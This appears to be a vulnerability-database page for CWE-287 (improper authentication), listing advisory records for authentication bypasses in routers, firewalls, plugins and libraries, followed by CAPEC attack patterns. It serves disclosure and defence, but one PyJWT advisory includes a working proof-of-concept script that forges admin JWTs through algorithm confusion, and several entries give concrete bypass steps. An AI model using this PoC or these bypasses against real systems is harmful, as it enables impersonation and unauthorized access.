CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
5960 vulnerabilities reference this CWE, most recent first.
GHSA-XG87-92R7-2R8M
Vulnerability from github – Published: 2022-05-14 02:51 – Updated: 2022-05-14 02:51Aztech ADSL DSL5018EN (1T1R), DSL705E, and DSL705EU devices improperly manage sessions, which allows remote attackers to bypass authentication in opportunistic circumstances and execute arbitrary commands with administrator privileges by leveraging an existing web portal login.
{
"affected": [],
"aliases": [
"CVE-2014-6436"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-12T17:29:00Z",
"severity": "CRITICAL"
},
"details": "Aztech ADSL DSL5018EN (1T1R), DSL705E, and DSL705EU devices improperly manage sessions, which allows remote attackers to bypass authentication in opportunistic circumstances and execute arbitrary commands with administrator privileges by leveraging an existing web portal login.",
"id": "GHSA-xg87-92r7-2r8m",
"modified": "2022-05-14T02:51:15Z",
"published": "2022-05-14T02:51:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-6436"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/128254/Aztech-DSL5018EN-DSL705E-DSL705EU-DoS-Broken-Session-Management.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/533489/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/69811"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XG8H-H4CF-QVVX
Vulnerability from github – Published: 2022-05-24 17:48 – Updated: 2022-06-29 00:00HomeAutomation 3.3.2 suffers from an authentication bypass vulnerability when spoofing client IP address using the X-Forwarded-For header with the local (loopback) IP address value allowing remote control of the smart home solution.
{
"affected": [],
"aliases": [
"CVE-2020-22001"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-27T18:15:00Z",
"severity": "CRITICAL"
},
"details": "HomeAutomation 3.3.2 suffers from an authentication bypass vulnerability when spoofing client IP address using the X-Forwarded-For header with the local (loopback) IP address value allowing remote control of the smart home solution.",
"id": "GHSA-xg8h-h4cf-qvvx",
"modified": "2022-06-29T00:00:31Z",
"published": "2022-05-24T17:48:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-22001"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/290.html"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/47807"
},
{
"type": "WEB",
"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5557.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XG92-4Q2X-2943
Vulnerability from github – Published: 2022-05-17 00:35 – Updated: 2025-04-20 03:45DenyAll WAF before 6.4.1 allows unauthenticated remote attackers to obtain authentication information by making a typeOf=debug request to /webservices/download/index.php, and then reading the iToken field in the reply. This affects DenyAll i-Suite LTS 5.5.0 through 5.5.12, i-Suite 5.6, Web Application Firewall 5.7, and Web Application Firewall 6.x before 6.4.1, with On Premises or AWS/Azure cloud deployments.
{
"affected": [],
"aliases": [
"CVE-2017-14706"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-22T18:29:00Z",
"severity": "CRITICAL"
},
"details": "DenyAll WAF before 6.4.1 allows unauthenticated remote attackers to obtain authentication information by making a typeOf=debug request to /webservices/download/index.php, and then reading the iToken field in the reply. This affects DenyAll i-Suite LTS 5.5.0 through 5.5.12, i-Suite 5.6, Web Application Firewall 5.7, and Web Application Firewall 6.x before 6.4.1, with On Premises or AWS/Azure cloud deployments.",
"id": "GHSA-xg92-4q2x-2943",
"modified": "2025-04-20T03:45:46Z",
"published": "2022-05-17T00:35:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14706"
},
{
"type": "WEB",
"url": "https://github.com/rapid7/metasploit-framework/pull/8980"
},
{
"type": "WEB",
"url": "https://pentest.blog/advisory-denyall-web-application-firewall-unauthenticated-remote-code-execution"
},
{
"type": "WEB",
"url": "https://www.denyall.com/blog/advisories/advisory-unauthenticated-remote-code-execution-denyall-web-application-firewall"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGC4-WQM7-7QRJ
Vulnerability from github – Published: 2023-12-22 03:30 – Updated: 2024-01-09 18:30Bentley eB System Management Console applications within Assetwise Integrity Information Server allow an unauthenticated user to view configuration options via a crafted request, leading to information disclosure. This affects eB System management Console before 23.00.02.03 and Assetwise ALIM For Transportation before 23.00.01.25.
{
"affected": [],
"aliases": [
"CVE-2023-51708"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-22T02:15:43Z",
"severity": "HIGH"
},
"details": "Bentley eB System Management Console applications within Assetwise Integrity Information Server allow an unauthenticated user to view configuration options via a crafted request, leading to information disclosure. This affects eB System management Console before 23.00.02.03 and Assetwise ALIM For Transportation before 23.00.01.25.",
"id": "GHSA-xgc4-wqm7-7qrj",
"modified": "2024-01-09T18:30:26Z",
"published": "2023-12-22T03:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51708"
},
{
"type": "WEB",
"url": "https://www.bentley.com/advisories/be-2023-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XGF8-6GVG-9RVW
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2025-04-20 03:42A vulnerability in synotheme_upload.php in Synology Photo Station before 6.7.3-3432 and 6.3-2967 allows remote attackers to upload arbitrary files without authentication via the logo_upload action.
{
"affected": [],
"aliases": [
"CVE-2017-11151"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-08T15:29:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability in synotheme_upload.php in Synology Photo Station before 6.7.3-3432 and 6.3-2967 allows remote attackers to upload arbitrary files without authentication via the logo_upload action.",
"id": "GHSA-xgf8-6gvg-9rvw",
"modified": "2025-04-20T03:42:42Z",
"published": "2022-05-13T01:38:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11151"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/42434"
},
{
"type": "WEB",
"url": "https://www.synology.com/en-global/support/security/Synology_SA_17_34_PhotoStation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGG2-W9VM-XQ8G
Vulnerability from github – Published: 2025-09-05 18:31 – Updated: 2025-09-05 18:31Improper access control vulnerability in SemClipboard prior to SMR Apr-2023 Release 1 allows attackers to read arbitrary files with system permission.
{
"affected": [],
"aliases": [
"CVE-2023-21471"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-03T06:15:40Z",
"severity": "LOW"
},
"details": "Improper access control vulnerability in SemClipboard prior to SMR Apr-2023 Release 1 allows attackers to read arbitrary files with system permission.",
"id": "GHSA-xgg2-w9vm-xq8g",
"modified": "2025-09-05T18:31:13Z",
"published": "2025-09-05T18:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21471"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2023\u0026month=04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XGJQ-FRV6-VJFH
Vulnerability from github – Published: 2025-09-12 06:30 – Updated: 2025-09-12 06:30A vulnerability was found in roncoo roncoo-pay up to 9428382af21cd5568319eae7429b7e1d0332ff40. The impacted element is an unknown function of the file /user/info/list. Performing manipulation results in improper authentication. It is possible to initiate the attack remotely. The exploit has been made public and could be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-10288"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-12T05:15:32Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in roncoo roncoo-pay up to 9428382af21cd5568319eae7429b7e1d0332ff40. The impacted element is an unknown function of the file /user/info/list. Performing manipulation results in improper authentication. It is possible to initiate the attack remotely. The exploit has been made public and could be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-xgjq-frv6-vjfh",
"modified": "2025-09-12T06:30:26Z",
"published": "2025-09-12T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10288"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.323650"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.323650"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.643837"
},
{
"type": "WEB",
"url": "https://www.cnblogs.com/aibot/p/19063475"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XGM7-5784-5CXV
Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2024-09-25 12:30Missing authentication in the StudentPopupDetails_StudentDetails method in IDAttend’s IDWeb application 3.1.052 and earlier allows extraction of sensitive student data by unauthenticated attackers.
{
"affected": [],
"aliases": [
"CVE-2023-27376"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-25T18:17:26Z",
"severity": "HIGH"
},
"details": "Missing authentication in the StudentPopupDetails_StudentDetails method in IDAttend\u2019s IDWeb application 3.1.052 and earlier allows extraction of sensitive student data by unauthenticated attackers. ",
"id": "GHSA-xgm7-5784-5cxv",
"modified": "2024-09-25T12:30:40Z",
"published": "2023-10-25T18:32:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27376"
},
{
"type": "WEB",
"url": "https://www.themissinglink.com.au/security-advisories/cve-2023-27376"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XGMM-8J9V-C9WX
Vulnerability from github – Published: 2026-06-15 19:28 – Updated: 2026-06-15 19:28[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in
algorithms=[…]and a raw-JSON JWK as thekey=argument, both contrary to documented usage, hence the High attack-complexity rating.
Summary
When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.
Details
In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.
If we look on current protections implemented in the library, at class HMACAlgorithm:
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
return key_bytes
We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.
In The following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.
The bypass happens only if the verifier: (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.
PoC
Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')
from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
# Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})
# Attacker-crafted token: flip to HS256 and choose claims
header = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload
# Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()
# Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
# -> b'{"sub":"alice","admin":true}'
Impact
Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyjwt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48526"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T19:28:06Z",
"nvd_published_at": "2026-05-28T16:16:29Z",
"severity": "HIGH"
},
"details": "\u003e [!NOTE]\n\u003e Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in `algorithms=[\u2026]` and a raw-JSON JWK as the `key=` argument, both contrary to documented usage, hence the High attack-complexity rating.\n\n### Summary\nWhen the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. \n\n### Details\nIn JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.\nIn pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:\n \n`jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"])) `\n\nAn attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. \nThe attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user. \n\nIf we look on current protections implemented in the library, at class HMACAlgorithm:\n\n```\n def prepare_key(self, key: str | bytes) -\u003e bytes:\n key_bytes = force_bytes(key)\n\n if is_pem_format(key_bytes) or is_ssh_key(key_bytes):\n raise InvalidKeyError(\n \"The specified key is an asymmetric key or x509 certificate and\"\n \" should not be used as an HMAC secret.\"\n )\n\n return key_bytes\n```\nWe can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.\n\nIn The following example:\n`jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"])) `\nThere is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations. \n\nThe bypass happens only if the verifier:\n (a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.\n\n### PoC\nPlease run the code and observe the payload printed in clear text({\"sub\":\"alice\",\"admin\":true}\u0027)\n\n```\nfrom jwt.api_jws import PyJWS\nimport json, base64, hmac, hashlib\n\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\n\n# Public RSA JWK (public by design)\nrsa_jwk_json = json.dumps({\"kty\":\"RSA\",\"n\":\"AQAB\",\"e\":\"AQAB\"})\n\n# Attacker-crafted token: flip to HS256 and choose claims\nheader = b64u(b\u0027{\"alg\":\"HS256\",\"typ\":\"JWT\"}\u0027)\npayload = b64u(b\u0027{\"sub\":\"alice\",\"admin\":true}\u0027)\nsigning = header + b\".\" + payload\n\n# Sign with HMAC using the PUBLIC JWK JSON TEXT as the \u201csecret\u201d\nsig = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()\ntoken = (signing + b\".\" + b64u(sig)).decode()\n\n# Vulnerable verifier: mixed families + JWK JSON string as key\njws = PyJWS()\nprint(jws.decode(token, key=rsa_jwk_json, algorithms=[\"HS256\",\"RS256\"]))\n# -\u003e b\u0027{\"sub\":\"alice\",\"admin\":true}\u0027\n```\n\n\n### Impact\nUnauthenticated token forgery \u2192 full identity/role impersonation at the resource server (authorization bypass).",
"id": "GHSA-xgmm-8j9v-c9wx",
"modified": "2026-06-15T19:28:06Z",
"published": "2026-06-15T19:28:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48526"
},
{
"type": "PACKAGE",
"url": "https://github.com/jpadilla/pyjwt"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-179.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed"
}
GHSA-XGMX-RR3C-2XGC
Vulnerability from github – Published: 2022-05-17 04:38 – Updated: 2025-04-12 12:36The MailPoet Newsletters (wysija-newsletters) plugin before 2.6.7 for WordPress allows remote attackers to bypass authentication and execute arbitrary PHP code by uploading a crafted theme using wp-admin/admin-post.php and accessing the theme in wp-content/uploads/wysija/themes/mailp/.
{
"affected": [],
"aliases": [
"CVE-2014-4725"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-07-27T18:55:00Z",
"severity": "HIGH"
},
"details": "The MailPoet Newsletters (wysija-newsletters) plugin before 2.6.7 for WordPress allows remote attackers to bypass authentication and execute arbitrary PHP code by uploading a crafted theme using wp-admin/admin-post.php and accessing the theme in wp-content/uploads/wysija/themes/mailp/.",
"id": "GHSA-xgmx-rr3c-2xgc",
"modified": "2025-04-12T12:36:10Z",
"published": "2022-05-17T04:38:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-4725"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/wysija-newsletters/changelog"
},
{
"type": "WEB",
"url": "http://arstechnica.com/security/2014/07/mass-exploit-of-wordpress-plugin-backdoors-sites-running-joomla-magento-too"
},
{
"type": "WEB",
"url": "http://blog.sucuri.net/2014/07/mailpoet-vulnerability-exploited-in-the-wild-breaking-thousands-of-wordpress-sites.html"
},
{
"type": "WEB",
"url": "http://blog.sucuri.net/2014/07/malware-infection-breaking-wordpress-sites.html"
},
{
"type": "WEB",
"url": "http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2014/07/08/7"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.